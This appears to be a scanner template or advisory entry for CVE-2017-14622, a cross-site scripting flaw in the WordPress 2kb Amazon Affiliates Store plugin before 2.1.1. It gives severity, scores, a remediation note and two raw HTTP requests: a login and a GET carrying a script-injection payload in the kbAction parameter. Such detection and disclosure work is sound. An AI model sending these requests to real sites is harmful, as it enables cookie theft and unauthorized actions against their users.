| Title | WordPress 2kb Amazon Affiliates Store <2.1.1 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update the WordPress 2kb Amazon Affiliates Store plugin to version 2.1.1 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01358 |
| CVE ID | CVE-2017-14622 |
| CWE ID | CWE-79 |
| Tags | cve2017 cve xss wordpress wp-plugin wp 2kb-amazon-affiliates-store authenticated packetstorm 2kblater vuln |
WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=RglpXL&pwd=vXqMLF&wp-submit=Log+In
GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.5.20
Connection: close
Accept-Encoding: gzip
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